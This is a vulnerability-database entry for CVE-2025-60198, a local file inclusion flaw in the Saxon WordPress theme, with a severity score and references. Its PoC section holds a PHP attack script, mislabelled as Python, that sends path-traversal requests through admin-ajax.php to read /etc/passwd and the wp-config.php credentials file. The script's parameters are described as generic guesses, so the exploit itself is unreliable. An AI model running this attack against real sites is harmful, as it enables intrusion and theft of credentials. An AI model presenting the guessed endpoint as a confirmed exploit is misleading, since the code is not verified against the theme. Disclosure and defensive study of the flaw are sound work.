CVE-2025-60198

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in dedalx Saxon - Viral Content Blog & Magazine Marketing WordPress Theme saxon allows PHP Local File Inclusion.This issue affects Saxon - Viral Content Blog & Magazine Marketing WordPress Theme: from n/a through <= 1.9.3.

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Saxon WordPress Theme <= 1.9.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<?php
// CVE-2025-60198 PoC - Saxon WordPress Theme Local File Inclusion
// Usage: Modify TARGET_URL and run with PHP CLI

$target_url = "http://target-site.com/";
$endpoint = "wp-admin/admin-ajax.php";

// Common vulnerable parameters in WordPress themes
$vulnerable_params = [
    'action' => 'saxon_load_component',
    'component' => '../../../../../../../../../../etc/passwd',
    'file' => '../wp-config.php'
];

echo "[*] CVE-2025-60198 PoC - Saxon Theme LFI\n";
echo "[*] Target: {$target_url}\n\n";

// Build request URL
$full_url = $target_url . $endpoint . '?' . http_build_query($vulnerable_params);

echo "[>] Sending request to: {$full_url}\n";

// Using cURL to send request
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $full_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "[>] HTTP Status: {$http_code}\n";
echo "[>] Response:\n";
echo $response;
?>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-60198
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-60198
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-60198/
[4] VulDB https://vuldb.com/cve/CVE-2025-60198
[5] https://patchstack.com/database/Wordpress/Theme/saxon/vulnerability/wordpress-saxon-viral-content-blog-magazine-marketing-wordpress-theme-theme-1-9-3-local-file-inclusion-vulnerability?_s_id=cve

Raw JSON Data

JSON

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